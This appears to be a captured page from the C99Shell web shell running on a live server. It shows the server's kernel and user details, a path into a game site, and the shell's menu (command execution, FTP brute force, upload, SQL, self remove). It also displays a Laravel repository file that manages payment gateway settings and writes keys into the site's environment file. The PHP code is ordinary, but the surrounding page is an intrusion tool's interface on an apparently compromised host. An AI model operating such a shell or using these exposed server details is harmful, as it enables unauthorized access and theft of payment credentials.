!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/game.picotech.app/public_html/core/app/Repositories/Back/   drwxr-xr-x
Free 29 GB of 117.98 GB (24.58%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PaymentSettingRepository.php (4.29 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Repositories\Back;

use 
App\{
    
Helpers\ImageHelper,
    
Models\PaymentSetting
};

class 
PaymentSettingRepository
{

    
/**
     * Show the data for updating resource.
     *
     * @return \Illuminate\Http\Response
     */
    
public function payment()
    {
        
$bank PaymentSetting::whereUniqueKeyword('bank')->first();
        
$data['bank'] = $bank;

        
$paypal PaymentSetting::whereUniqueKeyword('paypal')->first();
        
$data['paypalData'] = $paypal->convertJsonData();
        
$data['paypal'] = $paypal;


        
$molly PaymentSetting::whereUniqueKeyword('mollie')->first();
        
$data['mollyData'] = $molly->convertJsonData();
        
$data['molly'] = $molly;

        
$stripe PaymentSetting::whereUniqueKeyword('stripe')->first();
        
$data['stripeData'] = $stripe->convertJsonData();
        
$data['stripe'] = $stripe;

        
$paytm PaymentSetting::whereUniqueKeyword('paytm')->first();
        
$data['paytmData'] = $paytm->convertJsonData();
        
$data['paytm'] = $paytm;

        
$sslcommerz PaymentSetting::whereUniqueKeyword('sslcommerz')->first();
        
$data['sslcommerzData'] = $sslcommerz->convertJsonData();
        
$data['sslcommerz'] = $sslcommerz;

        
$mercadopago PaymentSetting::whereUniqueKeyword('mercadopago')->first();
        
$data['mercadopagoData'] = $mercadopago->convertJsonData();
        
$data['mercadopago'] = $mercadopago;

        
$authorize PaymentSetting::whereUniqueKeyword('authorize')->first();
        
$data['authorizeData'] = $authorize->convertJsonData();
        
$data['authorize'] = $authorize;

        
$flutterwave PaymentSetting::whereUniqueKeyword('flutterwave')->first();
        
$data['flutterwaveData'] = $flutterwave->convertJsonData();
        
$data['flutterwave'] = $flutterwave;

        
$razorpay PaymentSetting::whereUniqueKeyword('razorpay')->first();
        
$data['razorpayData'] = $razorpay->convertJsonData();
        
$data['razorpay'] = $razorpay;

        
$paystack PaymentSetting::whereUniqueKeyword('paystack')->first();
        
$data['paystackData'] = $paystack->convertJsonData();
        
$data['paystack'] = $paystack;

        
$cod PaymentSetting::whereUniqueKeyword('cod')->first();
        
$data['cod'] = $cod;

        return 
$data;
    }

    
/**
     * Update setting.
     *
     * @param  \App\Http\Requests\PaymentSettingRequest  $request
     * @return void
     */

    
public function update($request)
    {

        
$input $request->all();
        
$pay_data PaymentSetting::whereUniqueKeyword($input['unique_keyword'])->first();

        if (
$file $request->file('photo')) {
            
$input['photo'] = ImageHelper::handleUpdatedUploadedImage($file,'/assets/images',$pay_data,'/assets/images/','photo');
        }

        
        if(
$request->has('pkey')){

            
$info_data $input['pkey'];

            if(
$pay_data->unique_keyword == 'mollie'){
                
$paydata $pay_data->convertJsonData();
                
$prev $paydata['key'];
            }

            if (
array_key_exists("check_sandbox",$info_data)){
                
$info_data['check_sandbox'] = 1;
            }else{
                if (
strpos($pay_data->information'check_sandbox') !== false) {
                    
$info_data['check_sandbox'] = 0;
                }
            }

            if (
array_key_exists("paytm_mode",$info_data)){
                
$info_data['paytm_mode'] = 1;
            }else{
                if (
strpos($pay_data->information'paytm_mode') !== false) {
                    
$info_data['paytm_mode'] = 0;
                }
            }

            
        
            
$input['information'] = json_encode($info_data);

        }

        if(
$request->has('status')){
            
$input['status'] = 1;
        }else{

            
$input['status'] = 0;
        }
        
// dd($input['pkey']['key']);
        
$pay_data->update($input);

        if(
$pay_data->unique_keyword == 'mollie'){
            
$paydata $pay_data->convertJsonData();
            
$this->setEnv('MOLLIE_KEY',$input['pkey']['key'],$prev);
        }
    }

    private function 
setEnv($key$value,$prev)
    {

        
file_put_contents(app()->environmentFilePath(), str_replace(
            
$key '=' $prev,
            
$key '=' $value,
            
file_get_contents(app()->environmentFilePath())
        ));

    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--